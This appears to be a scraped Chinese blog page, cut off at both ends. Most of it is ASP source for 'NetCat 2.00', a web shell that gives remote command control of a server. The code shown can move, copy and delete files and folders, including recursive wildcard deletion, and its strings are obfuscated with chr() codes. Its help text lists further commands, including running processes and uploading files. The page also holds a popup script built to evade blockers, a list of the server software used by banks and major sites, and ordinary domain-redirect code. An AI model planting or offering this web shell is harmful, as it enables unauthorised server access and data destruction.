type=file name=file1 class=catinputtext> <input type=submit name=submit value="+chr(-13873)+chr(-19285)+" class=catbutton></form>" set upfilefso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== Function fREN() dim oldfile dim newfile dim renfileobj dim renfso oldfile=trim(request("par1")) newfile=trim(request("par2")) pcmdhostinfo if oldfile="?" or oldfile="/?" or oldfile="-?" or newfile="?" or newfile="/?" or newfile="-?" or trim(oldfile)="" or trim(newfile)="" then response.write "REN"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=ren&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-15365)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12094)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set renfso=server.createobject("Scripting.FileSystemObject") oldfile=vir2abs(oldfile) newfile=vir2abs(newfile) if instr(oldfile,"*")>0 or instr(oldfile,"?")>0 or instr(oldfile,"|")>0 or instr(oldfile,">")>0 or instr(oldfile,"<")>0 then response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if instr(newfile,"*")>0 or instr(newfile,"?")>0 or instr(newfile,"|")>0 or instr(newfile,">")>0 or instr(newfile,"<")>0 then response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12094)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if renfso.FileExists(oldfile) then if renfso.FileExists(newfile) then response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622) & newfile & " "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647) exit function else renfso.MoveFile oldfile,newfile response.write chr(-11084)+chr(-12604)+chr(-17154)+" "&n bsp;& oldfile & "<br>"+chr(-11567)+chr(-16723)+chr(-10536)+chr(-15364)+chr(-15365)+chr(-12630)+" " & newfile end if else response.write chr(-10536)+chr(-15364)+chr(-15365)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11091)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set renfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== Function fDIRMAKE() dim newdir dim newdirfso newdir=trim(request("par")) pcmdhostinfo if newdir="?" or newdir="/?" or newdir="-?" or newdir="" then response.write "DIRMAKE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirmake&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12056)+chr(-11606)+chr(-12094)+chr(-16984)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if newdir=vir2abs(newdir) if instr(newdir,"*")>0 or instr(newdir,"?")>0 or instr(newdir,"|")>0 or instr(newdir,"<")>0 or instr(newdir,">")>0 then response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if set newdirfso=server.createobject("Scripting.FileSystemObject") if newdirfso.FolderExists(newdir) then response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-13657)+chr(-20260)+chr(-23622) & newdir & " "+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046) exit function else newdirfso.CreateFolder newdir response.write chr(-15169)+chr(-15684)+chr(-12094)+chr(-16984)+chr(-19511)+chr(-18010)+chr(-23622) & newdir end if set newdirfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== Function fDIRCOPY() dim scrdir dim tardir dim copydirfso scrdir=trim(request("par1")) tardir=trim(request("par2")) pcmdhostinfo if scrdir="?" or scrdir="/?" or scrdir="-?" or tardir="?" or tardir="/?" or tardir="-?" or scrdir="" or tardir="" then response.write "DIRCOPY"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-18252)+chr(-10554)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dircopy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set copydirfso=server.createobject("Scripting.FileSystemObject") scrdir=vir2abs(scrdir) tardir=vir2abs(tardir) if right(scrdir,1)="\" then scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1) end if if right(tardir,1)="\" then tardir=mid(tardir,1,instrrev(tardir,"\")-1) end if if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if copydirfso.FolderExists(scrdir) then if copydirfso.FolderExists(tardir) then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647) exit function else copydirfso.CopyFolder scrdir,tardir response.write "Folder Copied<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir end if else response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set copydirfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== Function fDIRMOVE() dim scrdir dim tardir dim movedirfso scrdir=trim(request("par1")) tardir=trim(request("par2")) pcmdhostinfo if scrdir="?" or scrdir="/?" or scrdir="-?" or tardir="?" or tardir="/?" or tardir="-?" or scrdir="" or&nbsp ;tardir="" then response.write "DIRMOVE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirmove&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set movedirfso=server.createobject("Scripting.FileSystemObject") scrdir=vir2abs(scrdir) tardir=vir2abs(tardir) if right(scrdir,1)="\" then scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1) end if if right(tardir,1)="\" then tardir=mid(tardir,1,instrrev(tardir,"\")-1) end if if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if if movedirfso.FolderExists(scrdir) then if movedirfso.FolderExists(tardir) then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647) exit function else movedirfso.MoveFolder scrdir,tardir response.write "Folder Moved<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir end if else response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set movedirfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== Function fDIRDEL() dim deldir dim deldirfso dim deldirobj deldir=trim(request("par")) pcmdhostinfo if deldir="" or deldir="?" or deldir="/?" or deldir="-?" then response.write "DIRDEL"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirdel&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if deldir=vir2abs(deldir) if right(deldir,1)="\" then deldir=mid(deldir,1,instrrev(deldir,"\")-1) end if if instr(deldir,"*")>0 or instr(deldir,"?")>0 or instr(deldir,"|")>0 or instr(deldir,">")>0 or instr(deldir,"<")>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437) exit function end if set deldirfso=server.createobject("Scripting.FileSystemObject") if deldirfso.FolderExists(deldir) then set deldirobj=deldirfso.GetFolder(deldir) if deldirobj.subfolders.count>0 or deldirobj.files.count>0 then response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-12630)+chr(-18489)+chr(-16427) else deldirfso.DeleteFolder deldir,true response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19511)+chr(-18010)+chr(-23647)+"(" & deldir & ")" end if set deldirobj=nothing else response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046) end if set deldirfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '======================================================================== '========================================================================== '++++++++++++++++++++++++++++++++++ Public Model ++++++++++++++++++++++++++++++++++++++++++++ Function pcmdhostinfo() Response.Clear response.write "<html><head><title>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</title>" response.write "<style>" & chr(10) & chr(13) response.write "A:link{TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "A:visited {TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "A:hover{LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "#site A:link{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "#site A:visited{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "#site A:hover{color:#00FFFF; LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13) response.write "BODY{font-size: 12pt}" & chr(10) & chr(13) response.write "TD{font-size: 12pt}" & chr(10) & chr(13) response.write ".catbutton{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 120px}" & chr(10) & chr(13) response.write "textarea{BACKGROUND-COLOR: #ececec; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; COLOR: #000000; FONT-SIZE: 9pt}" & chr(10) & chr(13) response.write ".catinputtext{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 500px}" & chr(10) & chr(13) response.write "</style></head>" response.write "<body bgcolor=#000000 text=#FFFFFF link=#00FFFF vlink=#00FFFF>" response.write "<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td id=site>" response.write "<a href=" & SelfName() & "?cmd=ver title=Version>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version 2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</a> &copy [<a href=http://www.micromai.com/ title=http://www.micromai.com/ target=_blank>Veranda Studio</a>] <a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika</a> Updated 2003-05-23<br>" response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-23622) & Request.ServerVariables("SERVER_NAME") & "[" & Request.ServerVariables("LOCAL_ADDR") & "]<br>" response.write chr(-16435)+chr(-17497)+chr(-18741)+chr(-23622) & Request.ServerVariables("REMOTE_HOST") & "[" & Request.ServerVariables("REMOTE_ADDR") & "]<br>" response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-18493)+chr(-12598)+chr(-13647)+chr(-17180)+chr(-23622) & now() & "<br><br>" response.write "</td></tr></table>" End Function Function AspEnd() response.write "</body></html>" response.end End Function Function vir2abs(byval virpath) dim virpathtmp virpathtmp=trim(virpath) virpathtmp=replace(virpathtmp,"|acrs|","#") virpathtmp=replace(virpathtmp,"/","\") if len(virpathtmp)=2 and right(virpathtmp,1)=":" then virpathtmp=virpathtmp & "\" end if if mid(virpathtmp,2,2)<>":\" and virpathtmp<>"" then vir2abs=server.mappath(virpathtmp) else vir2abs=virpathtmp end if End Function Function chkchar(byval strtmp) if instr(strtmp,"\")>0 or instr(strtmp,"/")>0 or instr(strtmp,":")>0 or instr(strtmp,"*")>0 or instr(strtmp,"?")>0 or instr(strtmp,chr(34))>0 or instr(strtmp,"<")>0 or instr(strtmp,">")>0 or instr(strtmp,"|")>0 then chkchar=false else chkchar=true end if End Function Function long2short(byval filenametmp) dim nametmp nametmp=replace(filenametmp,"/","\") long2short=mid(nametmp,instrrev(nametmp,"\")+1) End Function Function SelfName() Dim SelfNameTmp SelfNameTmp=Request.ServerVariables("SCRIPT_NAME") SelfNameTmp=Replace(SelfNameTmp,"\","/") SelfName=Mid(SelfNameTmp,InstrRev(SelfNameTmp,"/")+1) End Function Function AppPath() AppPath=left(Request.ServerVariables("PATH_TRANSLATED"),instrrev(Request.ServerVariables("PATH_TRANSLATED"),"\")) End Function Function FormatNumber(byval lNumber) if lNumber<1024 then FormatNumber=cstr(lNumber) end if if lNumber>=1024 and lNumber<1048576 then FormatNumber=left(cstr(lNumber/1024),4) & "K" End if if lNumber>=1048576 and lNumber<1073741824 then FormatNumber=left(cstr(lNumber/1048576),4) & "M" End if if lNumber>=1073741824 and lNumber<1099511627776 then FormatNumber=left(cstr(lNumber/1073741824),4) & "G" end if End Function ''------------Like------------- Function myLike(ByVal sTCharStr, ByVal sSCharStr) Dim sTChar, sSChar Dim lTCharPos, lSCharPos Dim sStrTmpT, sStrTmpS Dim i sTChar = sTCharStr sSChar = sSCharStr Do While InStr(sTChar, "*?") > 0 sTChar = Replace(sTChar, "*?", "*") Loop Do While InStr(sTChar, "?*") > 0 sTChar = Replace(sTChar, "?*", "*") Loop Do While InStr(sTChar, "**") > 0 sTChar = Replace(sTChar, "**", "*") Loop sTChar = LCase(sTChar) sSChar = LCase(sSChar) myLike = True If InStr(sTChar, "*") = 0 Then myLike = myLikeStr(sTChar, sSChar) Else If Left(sTChar, 1) <> "*" Then sStrTmpT = Mid(sTChar, 1, InStr(sTChar, "*") - 1) If Len(sSChar) < Len(sStrTmpT) Then myLike = False Exit Function End If sStrTmpS = Mid(sSChar, 1, Len(sStrTmpT)) If myLikeStr(sStrTmpT, sStrTmpS) = False Then myLike =&nb sp;False Exit Function End If sTChar = Mid(sTChar, Len(sStrTmpT) + 1) sSChar = Mid(sSChar, Len(sStrTmpS) + 1) End If If Right(sTChar, 1) <> "*" Then sStrTmpT = Mid(sTChar, InStrRev(sTChar, "*") + 1) If Len(sSChar) < Len(sStrTmpT) Then myLike = False Exit Function End If sStrTmpS = Mid(sSChar, Len(sSChar) - Len(sStrTmpT) + 1, Len(sStrTmpT)) If myLikeStr(sStrTmpT, sStrTmpS) = False Then myLike = False Exit Function End If sTChar = Mid(sTChar, 1, Len(sTChar) - Len(sStrTmpT)) sSChar = Mid(sSChar, 1, Len(sSChar) - Len(sStrTmpS)) End If If Len(sSChar) < lSLeastLen Then myLike = False Exit Function End If lTCharPos = 1 lSCharPos = 1 Do While InStr(lTCharPos, sTChar, "*") < Len(sTChar) sStrTmpT = Mid(sTChar, lTCharPos + 1, InStr(lTCharPos + 1, sTChar, "*") - lTCharPos - 1) lTCharPos = InStr(lTCharPos + 1, sTChar, "*") Do While lSCharPos - 1 < Len(sSChar) sStrTmpS = Mid(sSChar, lSCharPos, Len(sStrTmpT)) lSCharPos = lSCharPos + 1 If myLikeStr(sStrTmpT, sStrTmpS) = True Then lSCharPos = lSCharPos + Len(sStrTmpS) - 1 Exit Do Else If lSCharPos - 2 + Len(sStrTmpS) >= Len(sSChar) Then myLike = False Exit Function End If End If Loop Loop End If End Function Function myLikeStr(ByVal sStrTSrc, ByVal sStrSSrc) Dim i myLikeStr = True If Len(sStrTSrc) <> Len(sStrSSrc) Then myLikeStr = False Else For i = 1 To Len(sStrTSrc) If Mid(sStrTSrc, i, 1) <> "?" Then If Mid(sStrTSrc, i, 1) <> Mid(sStrSSrc, i, 1) Then myLikeStr = False Exit Function End If End If Next End If End Function '-----------------------------------myListFile----------------------- Function myListFile(byval sListFileDirTmp,byval sListFileNameTmp,byval sActionTmp) Dim sListFileDir,sListFileName,sAction dim listfilefso dim listfilefolder dim listfilefolders dim listfilefile dim listfilefiles dim listfileitemtmp dim strtmp sListFileDir=trim(sListFileDirTmp) sListFileName=trim(sListFileNameTmp) sAction=trim(ucase(sActionTmp)) set listfilefso=server.createobject("Scripting.FileSystemObject") if listfilefso.FolderExists(sListFileDir) then set listfilefolder=listfilefso.GetFolder(sListFileDir) set listfilefolders=listfilefolder.subfolders set listfilefiles=listfilefolder.files for each listfileitemtmp in listfilefiles select case sAction case "CAT_FINDFILE" if myLike(sListFileName,listfileitemtmp.Name) then response.write listfileitemtmp.Name & " [" & listfileitemtmp & "]<br>" end if case "CAT_DELTREE" On Error Resume Next if myLike(sListFileName,listfileitemtmp.Name) then strtmp=listfileitemtmp listfilefso.DeleteFile listfileitemtmp response.write "Deleting [" & strtmp & "]<br>" end if case else &nbs p; response.write listfileitemtmp.Name & " [" & listfileitemtmp & "]<br>" end select next for each listfileitemtmp in listfilefolders call myListFile(listfileitemtmp,sListFileName,sAction) next set listfilefolder=nothing set listfilefolders=nothing set listfilefiles=nothing else response.write chr(-10568)+chr(-18776)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19781)+chr(-19226)+chr(-11046) end if set listfilefso=nothing End Function %>

xx.asp?cmd=ver
显示
NetCat2.00

网络飞猫2.00
基于HTTP的远程服务器命令行解释外壳
The Command Shell of Remote Server Based On HTTP

程序编写：Duclika
电子邮件：Duclika@hotmail.com
OICQ号码：5183219 58858309
主页地址：http://www.micromai.com/
更新时间：2003年5月23日

注意，本程序只适用于学习用途，不得利用本程序非法入侵他人计算机，造成一切损失以及一切责任均与作者无关。

Copyright © [Veranda Studio] Duclika 2003-05-23

xx.asp?cmd=help
获得帮助
HELP|?命令

功能：NetCat 网络飞猫命令列表

格式：insertatfilelab.asp?cmd=[命令][&par=[参数]]

[命令]

HELP|? NetCat 网络飞猫命令列表
DIR 列出当前或指定服务器端目录的文件和文件夹列表
TYPE 以ASCII形式显示指定文件内容
EDIT ASCII类型的文件编辑器
COPY 服务器端文件的复制
MOVE 服务器端文件的移动
DEL 删除服务器端的文件
DELTREE 清空服务器端指定目录下的所有文件
RUN 创建一个服务器端的进程
FINDFILE 查找服务器端的文件
UPFILE 上传本地文件到目标服务器指定的位置上
REN 服务器端文件的重命名
DIRMAKE 服务器端新建目录
DIRCOPY 服务器端文件夹的复制
DIRMOVE 服务器端文件夹的移动
DIRDEL 删除服务器端的文件夹
VER NetCat(网络飞猫)版本信息以及升级日志

分类: 资源共享标签:

超强NB 的弹出代码，不弹都不行，3721，GOOGLE工具都拦截不了。

2006年9月21日 Chinadu 没有评论 86 views

在你要弹出的页面里面写上
下面是tan.js的原文件:

var one; var two; var openurl="http://www.126.com"; function openwin() { one=window.open(openurl,'移测试站点,'width=460,height=580,top=00,left=00,toolbar=yes,menubar=yes, scrollbars=yes, resizable=yes,location=yes, status=yes');} if (navigator.appName == "Netscape") {setTimeout("openwin()",10)} else {setTimeout("openshow()",10) } function openshow() { one=window.showModalDialog(www.126.com,'测试站点,'scroll:1;status:0;help:0;resizable:0;dialogWidth:460px;dialogHeight:580px'); }

分类: 资源共享标签: Code

大型网站操作系统与Web服务器窥探

2006年9月21日 Chinadu 没有评论 178 views

Google

操作系统：有两个节点使用Linux 其他大部分节点使用未知版本的操作系统（之前好像传言Google要做OS？？），Gmai还使用了Solaris 8 WEB服务器： GWS/2.1 （连Web服务器都是自己开发的，Google真强，GWS＝“Google Web Server”）

Yahoo

操作系统：FreeBSD WEB服务器：未知

MSN/Microsoft/Live

操作系统：Windows Server 2003 WEB服务器： Microsoft-IIS/6.0 微软的标准应用，呵呵

flickr

操作系统：Linux WEB服务器：Apache/2.0.52

WIKI

操作系统：Linux WEB服务器：Apache

百度

操作系统：Linux WEB服务器：Apache/1.3.27 （看来技术方面跟Google还有差距）

网易

操作系统：Linux WEB服务器：Apache/2.0.55

TOM

操作系统：NetApp NetCache WEB服务器：Apache/1.3.34 PHP/5.1.2-1

淘宝

操作系统：Linux WEB服务器：Apache

搜狐

操作系统：SCO UNIX WEB服务器：Apache/1.3.33

新浪

操作系统：FreeBSD WEB服务器：Apache/2.0.54

腾讯

操作系统：Linux WEB服务器：Apache

中国政府网站

操作系统：Linux WEB服务器：Apache

天涯论坛

操作系统：FreeBSD WEB服务器： Apache/1.3.34

新华网

操作系统：Linux WEB服务器：Apache CCTV Linux Netscape-Enterprise/4.1

51JOB

Linux Apache/1.3.29

猫扑

操作系统：Linux WEB服务器：Apache/2.0.55

招商银行

Windows 2000 Microsoft-IIS/5.0

中国工商银行

Windows 2000 Microsoft-IIS/5.0

中国银行

NetApp NetCache IBM_HTTP_SERVER/1.3.26 Apache/1.3.26 (Unix) 和Windows 2000 Microsoft-IIS/5.0 两种

建设银行

Linux Apache/2.0.54 (Unix)

农业银行

AIX IBM_HTTP_Server/2.0.47.1 Apache/2.0.47 (Unix)

汇丰

Windows Server 2003

交通银行

AIX WebSphere Application Server/5.0

中国人民银行

Windows Server 2003 WHSys-AdvSvr/2.31

发现大部分网站使用的都是开源软件～～但是银行网站大多选用Windows（瘟倒死），可能Windows2003安全性能的确不错，不过它是收费的。

分类: 资源共享标签: OS, 服务器

同一空间绑定多域名的ASP、PHP代码

2006年9月21日 Chinadu 没有评论 179 views

同一空间绑定多域名的ASP、PHP代码

一个空间，绑定多个域名
怎么实现根据访问的域名不同而跳转到不同的网站那！
看看下面的代码：

ASP代码

第一个

<%if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then response.redirect "clang" else response.redirect "i.htm" end if%>

第二个

<% select case request.servervariables("http_host") case "www.clang.cn" '1 response.redirect ("v3.htm") case "clang.cn" '2 response.redirect ("i.htm") case "www.clang.cn" '3 response.redirect ("clang.htm") ...... 继续添加 ...... end select %>

第三个

